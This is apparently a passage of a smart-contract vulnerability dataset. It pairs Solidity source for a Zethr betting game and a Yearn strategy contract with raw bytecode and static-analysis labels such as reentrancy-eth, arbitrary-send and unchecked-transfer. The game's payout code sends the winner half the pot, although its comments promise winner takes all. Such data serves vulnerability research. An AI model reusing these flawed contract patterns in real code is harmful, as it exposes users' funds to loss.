905060006127d18789611d0890919063ffffffff16565b905060006127fa826127ec858761255590919063ffffffff16565b61255590919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128266128218461317b565b613156565b9050808382526020820190508285602086028201111561284557600080fd5b60005b85811015612875578161285b888261287f565b845260208401935060208301925050600181019050612848565b5050509392505050565b60008135905061288e816137e2565b92915050565b6000815190506128a3816137e2565b92915050565b600082601f8301126128ba57600080fd5b81356128ca848260208601612813565b91505092915050565b6000813590506128e2816137f9565b92915050565b6000815190506128f7816137f9565b92915050565b60008135905061290c81613810565b92915050565b60008151905061292181613810565b92915050565b60006020828403121561293957600080fd5b60006129478482850161287f565b91505092915050565b60006020828403121561296257600080fd5b600061297084828501612894565b91505092915050565b6000806040838503121561298c57600080fd5b600061299a8582860161287f565b92505060206129ab8582860161287f565b9150509250929050565b6000806000606084860312156129ca57600080fd5b60006129d88682870161287f565b93505060206129e98682870161287f565b92505060406129fa868287016128fd565b9150509250925092565b60008060408385031215612a1757600080fd5b6000612a258582860161287f565b9250506020612a36858286016128fd565b9150509250929050565b600060208284031215612a5257600080fd5b600082013567ffffffffffffffff811115612a6c57600080fd5b612a78848285016128a9565b91505092915050565b600060208284031215612a9357600080fd5b6000612aa1848285016128d3565b91505092915050565b600060208284031215612abc57600080fd5b6000612aca848285016128e8565b91505092915050565b600060208284031215612ae557600080fd5b6000612af3848285016128fd565b91505092915050565b600080600060608486031215612b1157600080fd5b6000612b1f86828701612912565b9350506020612b3086828701612912565b9250506040612b4186828701612912565b9150509250925092565b6000612b578383612b63565b60208301905092915050565b612b6c81613311565b82525050565b612b7b81613311565b82525050565b6000612b8c826131b7565b612b9681856131da565b9350612ba1836131a7565b8060005b83811015612bd2578151612bb98882612b4b565b9750612bc4836131cd565b925050600181019050612ba5565b5085935050505092915050565b612be881613323565b82525050565b612bf781613366565b82525050565b6000612c08826131c2565b612c1281856131eb565b9350612c22818560208601613378565b612c2b816134b2565b840191505092915050565b6000612c436023836131eb565b9150612c4e826134c3565b604082019050919050565b6000612c66601a836131eb565b9150612c7182613512565b602082019050919050565b6000612c89602a836131eb565b9150612c948261353b565b604082019050919050565b6000612cac6022836131eb565b9150612cb78261358a565b604082019050919050565b6000612ccf601b836131eb565b9150612cda826135d9565b602082019050919050565b6000612cf2601b836131eb565b9150612cfd82613602565b602082019050919050565b6000612d15601d836131eb565b9150612d208261362b565b602082019050919050565b6000612d386021836131eb565b9150612d4382613654565b604082019050919050565b6000612d5b6020836131eb565b9150612d66826136a3565b602082019050919050565b6000612d7e6029836131eb565b9150612d89826136cc565b604082019050919050565b6000612da16025836131eb565b9150612dac8261371b565b604082019050919050565b6000612dc46024836131eb565b9150612dcf8261376a565b604082019050919050565b6000612de76011836131eb565b9150612df2826137b9565b602082019050919050565b612e068161334f565b82525050565b612e1581613359565b82525050565b6000602082019050612e306000830184612b72565b92915050565b6000604082019050612e4b6000830185612b72565b612e586020830184612b72565b9392505050565b6000604082019050612e746000830185612b72565b612e816020830184612dfd565b9392505050565b600060c082019050612e9d6000830189612b72565b612eaa6020830188612dfd565b612eb76040830187612bee565b612ec46060830186612bee565b612ed16080830185612b72565b612ede60a0830184612dfd565b979650505050505050565b6000602082019050612efe6000830184612bdf565b92915050565b60006020820190508181036000830152612f1e8184612bfd565b905092915050565b60006020820190508181036000830152612f3f81612c36565b9050919050565b60006020820190508181036000830152612f5f81612c59565b9050919050565b60006020820190508181036000830152612f7f81612c7c565b9050919050565b60006020820190508181036000830152612f9f81612c9f565b9050919050565b60006020820190508181036000830152612fbf81612cc2565b9050919050565b60006020820190508181036000830152612fdf81612ce5565b9050919050565b60006020820190508181036000830152612fff81612d08565b9050919050565b6000602082019050818103600083015261301f81612d2b565b9050919050565b6000602082019050818103600083015261303f81612d4e565b9050919050565b6000602082019050818103600083015261305f81612d71565b9050919050565b6000602082019050818103600083015261307f81612d94565b9050919050565b6000602082019050818103600083015261309f81612db7565b9050919050565b600060208201905081810360008301526130bf81612dda565b9050919050565b60006020820190506130db6000830184612dfd565b92915050565b600060a0820190506130f66000830188612dfd565b6131036020830187612bee565b81810360408301526131158186612b81565b90506131246060830185612b72565b6131316080830184612dfd565b9695505050505050565b60006020820190506131506000830184612e0c565b92915050565b6000613160613171565b905061316c82826133ab565b919050565b6000604051905090565b600067ffffffffffffffff82111561319657613195613483565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006132078261334f565b91506132128361334f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561324757613246613425565b5b828201905092915050565b600061325d8261334f565b91506132688361334f565b92508261327857613277613454565b5b828204905092915050565b600061328e8261334f565b91506132998361334f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132d2576132d1613425565b5b828202905092915050565b60006132e88261334f565b91506132f38361334f565b92508282101561330657613305613425565b5b828203905092915050565b600061331c8261332f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006133718261334f565b9050919050565b60005b8381101561339657808201518184015260208101905061337b565b838111156133a5576000848401525b50505050565b6133b4826134b2565b810181811067ffffffffffffffff821117156133d3576133d2613483565b5b80604052505050565b60006133e78261334f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561341a57613419613425565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f53656373206d7573742062652067726561746572207468616e20300000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137eb81613311565b81146137f657600080fd5b50565b61380281613323565b811461380d57600080fd5b50565b6138198161334f565b811461382457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205b9b08448b1e8f566626a41d2f573c5b333d701f3868bd148a1481ca0233ef2d64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,650
0xc14ab1817dd84deb79c866ed724903c4be0ac7a8
pragma solidity ^0.4.23; /* * Zethell. * * Written June 2018 for Zethr (https://www.zethr.game) by Norsefire. * Special thanks to oguzhanox and Etherguy for assistance with debugging. * */ contract ZTHReceivingContract { function tokenFallback(address _from, uint _value, bytes _data) public returns (bool); } contract ZTHInterface { function transfer(address _to, uint _value) public returns (bool); function approve(address spender, uint tokens) public returns (bool); } contract Zethell is ZTHReceivingContract { using SafeMath for uint; address private owner; address private bankroll; // How much of the current token balance is reserved as the house take? uint private houseTake; // How many tokens are currently being played for? (Remember, this is winner takes all) uint public tokensInPlay; // The token balance of the entire contract. uint public contractBalance; // Which address is currently winning? address public currentWinner; // What time did the most recent clock reset happen? uint public gameStarted; // What time will the game end if the clock isn't reset? uint public gameEnds; // Is betting allowed? (Administrative function, in the event of unforeseen bugs) bool public gameActive; address private ZTHTKNADDR; address private ZTHBANKROLL; ZTHInterface private ZTHTKN; mapping (uint => bool) validTokenBet; mapping (uint => uint) tokenToTimer; // Fire an event whenever the clock runs out and a winner is determined. event GameEnded( address winner, uint tokensWon, uint timeOfWin ); // Might as well notify everyone when the house takes its cut out. event HouseRetrievedTake( uint timeTaken, uint tokensWithdrawn ); // Fire an event whenever someone places a bet. event TokensWagered( address _wagerer, uint _wagered, uint _newExpiry ); modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyBankroll { require(msg.sender == bankroll); _; } modifier onlyOwnerOrBankroll { require(msg.sender == owner || msg.sender == bankroll); _; } constructor(address ZethrAddress, address BankrollAddress) public { // Set Zethr & Bankroll address from constructor params ZTHTKNADDR = ZethrAddress; ZTHBANKROLL = BankrollAddress; // Set starting variables owner = msg.sender; bankroll = ZTHBANKROLL; currentWinner = msg.sender; // Approve "infinite" token transfer to the bankroll, as part of Zethr game requirements. ZTHTKN = ZTHInterface(ZTHTKNADDR); ZTHTKN.approve(ZTHBANKROLL, 2**256 - 1); // To start with, we only allow bets of 5, 10, 25 or 50 ZTH. validTokenBet[1e18] = true; validTokenBet[2e18] = true; validTokenBet[5e18] = true; validTokenBet[10e18] = true; // Logarithmically decreasing time 'bonus' associated with higher amounts of ZTH staked. tokenToTimer[1e18] = 60 minutes; tokenToTimer[2e18] = 50 minutes; tokenToTimer[5e18] = 30 minutes; tokenToTimer[10e18] = 1 minutes; // Set the initial timers to contract genesis. gameStarted = now; gameEnds = gameStarted.add(24 hours); gameActive = true; } // Zethr dividends gained are sent to Bankroll later function() public payable { } // If the contract receives tokens, bundle them up in a struct and fire them over to _stakeTokens for validation. struct TKN { address sender; uint value; } function tokenFallback(address _from, uint _value, bytes /* _data */) public returns (bool){ if(_from != ZTHBANKROLL){ TKN memory _tkn; _tkn.sender = _from; _tkn.value = _value; _stakeTokens(_tkn); return true; } } // First, we check to see if the tokens are ZTH tokens. If not, we revert the transaction. // Next - if the game has already ended (i.e. your bet was too late and the clock ran out) // the staked tokens from the previous game are transferred to the winner, the timers are // reset, and the game begins anew. // If you're simply resetting the clock, the timers are reset accordingly and you are designated // the current winner. A 1% cut will be taken for the house, and the rest deposited in the prize // pool which everyone will be playing for. No second place prizes here! function _stakeTokens(TKN _tkn) private { require(gameActive); require(_zthToken(msg.sender)); require(validTokenBet[_tkn.value]); if (now > gameEnds) { _settleAndRestart(); } address _customerAddress = _tkn.sender; uint _wagered = _tkn.value; uint rightNow = now; uint timePurchased = tokenToTimer[_tkn.value]; uint newGameEnd = gameEnds.add(timePurchased); if(newGameEnd.sub(rightNow) > 24 hours){newGameEnd = rightNow.add(24 hours);} //gameStarted = rightNow; gameEnds = newGameEnd; currentWinner = _customerAddress; contractBalance = contractBalance.add(_wagered); uint houseCut = _wagered.div(100); uint toAdd = _wagered.sub(houseCut); houseTake = houseTake.add(houseCut); tokensInPlay = tokensInPlay.add(toAdd); emit TokensWagered(_customerAddress, _wagered, newGameEnd); } // In the event of a game restart, subtract the tokens which were being played for from the balance, // transfer them to the winner (if the number of tokens is greater than zero: sly edge case). // If there is *somehow* any Ether in the contract - again, please don't - it is transferred to the // bankroll and reinvested into Zethr at the standard 33% rate. function _settleAndRestart() private { gameActive = false; uint payment = tokensInPlay/2; contractBalance = contractBalance.sub(payment); if (tokensInPlay > 0) { ZTHTKN.transfer(currentWinner, payment); if (address(this).balance > 0){ ZTHBANKROLL.transfer(address(this).balance); }} emit GameEnded(currentWinner, payment, now); // Reset values. tokensInPlay = tokensInPlay.sub(payment); gameActive = true; gameStarted = now; gameEnds = gameStarted.add(24 hours); } // How many tokens are in the contract overall? function balanceOf() public view returns (uint) { return contractBalance; } // Administrative function for adding a new token-time pair, should there be demand. function addTokenTime(uint _tokenAmount, uint _timeBought) public onlyOwner { validTokenBet[_tokenAmount] = true; tokenToTimer[_tokenAmount] = _timeBought; } // Administrative function to REMOVE a token-time pair, should one fall out of use. function removeTokenTime(uint _tokenAmount) public onlyOwner { validTokenBet[_tokenAmount] = false; tokenToTimer[_tokenAmount] = 232 days; } // Function to pull out the house cut to the bankroll if required (i.e. to seed other games). function retrieveHouseTake() public onlyOwnerOrBankroll { uint toTake = houseTake; houseTake = 0; contractBalance = contractBalance.sub(toTake); ZTHTKN.transfer(bankroll, toTake); emit HouseRetrievedTake(now, toTake); } // If, for any reason, betting needs to be paused (very unlikely), this will freeze all bets. function pauseGame() public onlyOwner { gameActive = false; } // The converse of the above, resuming betting if a freeze had been put in place. function resumeGame() public onlyOwner { gameActive = true; } // Administrative function to change the owner of the contract. function changeOwner(address _newOwner) public onlyOwner { owner = _newOwner; } // Administrative function to change the Zethr bankroll contract, should the need arise. function changeBankroll(address _newBankroll) public onlyOwner { bankroll = _newBankroll; } // Is the address that the token has come from actually ZTH? function _zthToken(address _tokenContract) private view returns (bool) { return _tokenContract == ZTHTKNADDR; } } // And here's the boring bit. /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint a, uint b) internal pure returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } }
0x6080604052600436106100da5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416633cc4c6ce81146100dc578063499831f2146100f15780635e123ce414610106578063722713f71461012d5780638b7afe2e14610142578063a378bba514610157578063a6f9dae11461016c578063a78bcf6e1461018d578063aabe2fe3146101ae578063afa9a86e146101df578063c0ee0b8a146101f4578063d6ccf7a714610271578063f020044f1461028c578063f41f4b10146102a1578063f79d6687146102b6575b005b3480156100e857600080fd5b506100da6102ce565b3480156100fd57600080fd5b506100da6102f4565b34801561011257600080fd5b5061011b610317565b60408051918252519081900360200190f35b34801561013957600080fd5b5061011b61031d565b34801561014e57600080fd5b5061011b610323565b34801561016357600080fd5b5061011b610329565b34801561017857600080fd5b506100da600160a060020a036004351661032f565b34801561019957600080fd5b506100da600160a060020a0360043516610375565b3480156101ba57600080fd5b506101c36103bb565b60408051600160a060020a039092168252519081900360200190f35b3480156101eb57600080fd5b5061011b6103ca565b34801561020057600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261025d948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506103d09650505050505050565b604080519115158252519081900360200190f35b34801561027d57600080fd5b506100da600435602435610418565b34801561029857600080fd5b5061025d610456565b3480156102ad57600080fd5b506100da61045f565b3480156102c257600080fd5b506100da60043561058b565b600054600160a060020a031633146102e557600080fd5b6008805460ff19166001179055565b600054600160a060020a0316331461030b57600080fd5b6008805460ff19169055565b60065481565b60045490565b60045481565b60075481565b600054600160a060020a0316331461034657600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a0316331461038c57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600554600160a060020a031681565b60035481565b60006103da610981565b600954600160a060020a0386811691161461041057600160a060020a03851681526020810184905261040b816105cb565b600191505b509392505050565b600054600160a060020a0316331461042f57600080fd5b6000918252600b60209081526040808420805460ff19166001179055600c90915290912055565b60085460ff1681565b60008054600160a060020a03163314806104835750600154600160a060020a031633145b151561048e57600080fd5b506002805460009091556004546104ab908263ffffffff61078416565b6004908155600a54600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831694810194909452602484018590525191169163a9059cbb9160448083019260209291908290030181600087803b15801561052157600080fd5b505af1158015610535573d6000803e3d6000fd5b505050506040513d602081101561054b57600080fd5b5050604080514281526020810183905281517f95a874a43e2b35cd8dd5c26d75b8c95ea2cd8152f17d40ac971f7844a976f051929181900390910190a150565b600054600160a060020a031633146105a257600080fd5b6000908152600b60209081526040808320805460ff19169055600c9091529020630131dc009055565b6000806000806000806000600860009054906101000a900460ff1615156105f157600080fd5b6105fa33610796565b151561060557600080fd5b6020808901516000908152600b909152604090205460ff16151561062857600080fd5b60075442111561063a5761063a6107af565b87516020808a01516000818152600c9092526040909120546007549299509097504296509450610670908563ffffffff61095416565b925062015180610686848763ffffffff61078416565b11156106a25761069f856201518063ffffffff61095416565b92505b60078390556005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0389161790556004546106dc9087610954565b6004556106f086606463ffffffff61096a16565b9150610702868363ffffffff61078416565b600254909150610718908363ffffffff61095416565b60025560035461072e908263ffffffff61095416565b60035560408051600160a060020a03891681526020810188905280820185905290517ff6dbe9ed7a14e9a58a34b1833a363a95a7d19a785c6657b8aeea89c18b80752b9181900360600190a15050505050505050565b60008282111561079057fe5b50900390565b6008546101009004600160a060020a0390811691161490565b6008805460ff191690556003546004546002909104906107d5908263ffffffff61078416565b600455600354600010156108c757600a54600554604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a039283166004820152602481018590529051919092169163a9059cbb9160448083019260209291908290030181600087803b15801561085557600080fd5b505af1158015610869573d6000803e3d6000fd5b505050506040513d602081101561087f57600080fd5b50506000303111156108c757600954604051600160a060020a0390911690303180156108fc02916000818181858888f193505050501580156108c5573d6000803e3d6000fd5b505b60055460408051600160a060020a039092168252602082018390524282820152517f8420a32dd381606a863bf5711eb04325b7da1cb03e87d6167fab0afe1a9da80c9181900360600190a1600354610925908263ffffffff61078416565b6003556008805460ff1916600117905542600681905561094e906201518063ffffffff61095416565b60075550565b60008282018381101561096357fe5b9392505050565b600080828481151561097857fe5b04949350505050565b6040805180820190915260008082526020820152905600a165627a7a7230582049d1f0ce83511f401aeb1b396bda5b8b73556a4488ded3c9b615408b6eddbbcd0029
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,651
0xff7f0d570268e4790dc106bb077b3cff95ac9695
pragma solidity 0.6.12; // SPDX-License-Identifier: MIT library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface StandardToken { function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); } interface IStakeAndYield { function getRewardToken() external view returns(address); function totalSupply(uint256 stakeType) external view returns(uint256); function totalYieldWithdrawed() external view returns(uint256); function notifyRewardAmount(uint256 reward, uint256 stakeType) external; } interface IController { function withdrawETH(uint256 amount) external; function depositTokenForStrategy( uint256 amount, address yearnVault ) external; function buyForStrategy( uint256 amount, address rewardToken, address recipient ) external; function withdrawForStrategy( uint256 sharesToWithdraw, address yearnVault ) external; function strategyBalance(address stra) external view returns(uint256); } interface IYearnVault{ function balanceOf(address account) external view returns (uint256); function withdraw(uint256 amount) external; function getPricePerFullShare() external view returns(uint256); function deposit(uint256 _amount) external returns(uint256); } contract YearnCrvAETHStrategyV2 is Ownable { using SafeMath for uint256; uint256 public PERIOD = 7 days; //TODO: get from old contract and update it uint256 public START_PERIOD = 1622027140; uint256 public lastEpochTime; uint256 public lastBalance; uint256 public ethPushedToYearn; IStakeAndYield public vault; IController public controller; //crvAETH address yearnDepositableToken = 0xaA17A236F2bAdc98DDc0Cf999AbB47D47Fc0A6Cf; IYearnVault public yearnVault = IYearnVault(0x132d8D2C76Db3812403431fAcB00F3453Fc42125); address public operator = msg.sender; uint256 public minRewards = 0.01 ether; uint256 public minDepositable = 0.05 ether; modifier onlyOwnerOrOperator(){ require( msg.sender == owner() || msg.sender == operator, "!owner" ); _; } constructor( address _vault, address _controller ) public{ vault = IStakeAndYield(_vault); controller = IController(_controller); } function epoch( uint256 _rewards, uint256 _withdrawAmountETH, uint256 _withdrawShares, uint256 _depositAmountETH, uint256 _depositAmountAETH ) public onlyOwnerOrOperator{ lastBalance = vault.totalSupply(2); if(_rewards > minRewards){ // get DEA and send to Vault controller.buyForStrategy( _rewards, vault.getRewardToken(), address(vault) ); } ethPushedToYearn = ethPushedToYearn.sub( _withdrawAmountETH ).add(_depositAmountETH); if(_withdrawShares > 0){ withdrawFromYearn(_withdrawShares); } if(_depositAmountAETH >= minDepositable){ //deposit to yearn controller.depositTokenForStrategy( _depositAmountAETH, address(yearnVault)); } lastEpochTime = block.timestamp; } function withdrawFromYearn(uint256 sharesToWithdraw) private returns(uint256){ uint256 yShares = controller.strategyBalance(address(this)); require(yShares >= sharesToWithdraw, "Not enough shares"); controller.withdrawForStrategy( sharesToWithdraw, address(yearnVault) ); } function pendingBalance() public view returns(uint256){ uint256 vaultBalance = vault.totalSupply(2); if(vaultBalance < lastBalance){ return 0; } return vaultBalance.sub(lastBalance); } function getLastEpochTime() public view returns(uint256){ return lastEpochTime; } function getNextEpochTime() public view returns(uint256){ uint256 periods = (now - START_PERIOD)/PERIOD; return START_PERIOD + (periods+1)*PERIOD; } function setOperator(address _addr) public onlyOwner{ operator = _addr; } function setMinRewards(uint256 _val) public onlyOwner{ minRewards = _val; } function setMinDepositable(uint256 _val) public onlyOwner{ minDepositable = _val; } function setController(address _controller, address _vault) public onlyOwner{ if(_controller != address(0)){ controller = IController(_controller); } if(_vault != address(0)){ vault = IStakeAndYield(_vault); } } function setPeriods(uint256 period, uint256 startPeriod) public onlyOwner{ PERIOD = period; START_PERIOD = startPeriod; } function setEthPushedToYearn(uint256 _val) public onlyOwner{ ethPushedToYearn = _val; } function setYearnDepositableToken(address token) public onlyOwner{ yearnDepositableToken = token; } function setYearnVault(address addr) public onlyOwner{ yearnVault = IYearnVault(addr); } function emergencyWithdrawETH(uint256 amount, address addr) public onlyOwner{ require(addr != address(0)); payable(addr).transfer(amount); } function emergencyWithdrawERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { StandardToken(_tokenAddr).transfer(_to, _amount); } }
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c80637b7d6c68116100f9578063b3f5e00811610097578063c7efd05411610071578063c7efd054146103f4578063f2fde38b1461041a578063f77c479114610440578063fbfa77cf14610448576101c4565b8063b3f5e008146103ae578063b4d1d795146103e4578063ba522458146103ec576101c4565b80638da5cb5b116100d35780638da5cb5b146103705780638f1c56bd146103785780639db5df4614610380578063b3ab15fb14610388576101c4565b80637b7d6c68146103325780637ce686111461036057806389c614b814610368576101c4565b8063570ca735116101665780635d31ad81116101405780635d31ad81146102b557806368d4c5ee146102ea578063715018a614610307578063767ac3691461030f576101c4565b8063570ca7351461028157806357b4d18e146102a557806359629330146102ad576101c4565b8063288bf1fe116101a2578063288bf1fe146102315780632d7c071e1461025757806334535ee11461027157806341edf14414610279576101c4565b806302abcb3b146101c957806315945006146101e857806317fe6e0914610214575b600080fd5b6101e6600480360360208110156101df57600080fd5b5035610450565b005b6101e6600480360360408110156101fe57600080fd5b50803590602001356001600160a01b03166104ad565b6101e66004803603602081101561022a57600080fd5b5035610553565b6101e66004803603602081101561024757600080fd5b50356001600160a01b03166105b0565b61025f61062a565b60408051918252519081900360200190f35b61025f610630565b61025f610636565b61028961063c565b604080516001600160a01b039092168252519081900360200190f35b61025f61064b565b61025f6106f4565b6101e6600480360360a08110156102cb57600080fd5b508035906020810135906040810135906060810135906080013561071b565b6101e66004803603602081101561030057600080fd5b50356109b3565b6101e6610a10565b6101e66004803603604081101561032557600080fd5b5080359060200135610ab2565b6101e66004803603604081101561034857600080fd5b506001600160a01b0381358116916020013516610b15565b61025f610bc7565b61025f610bcd565b610289610bd3565b61025f610be2565b610289610be8565b6101e66004803603602081101561039e57600080fd5b50356001600160a01b0316610bf7565b6101e6600480360360608110156103c457600080fd5b506001600160a01b03813581169160208101359091169060400135610c71565b61025f610d51565b61025f610d57565b6101e66004803603602081101561040a57600080fd5b50356001600160a01b0316610d5d565b6101e66004803603602081101561043057600080fd5b50356001600160a01b0316610dd7565b610289610ecf565b610289610ede565b610458610eed565b6000546001600160a01b039081169116146104a8576040805162461bcd60e51b8152602060048201819052602482015260008051602061118f833981519152604482015290519081900360640190fd5b600c55565b6104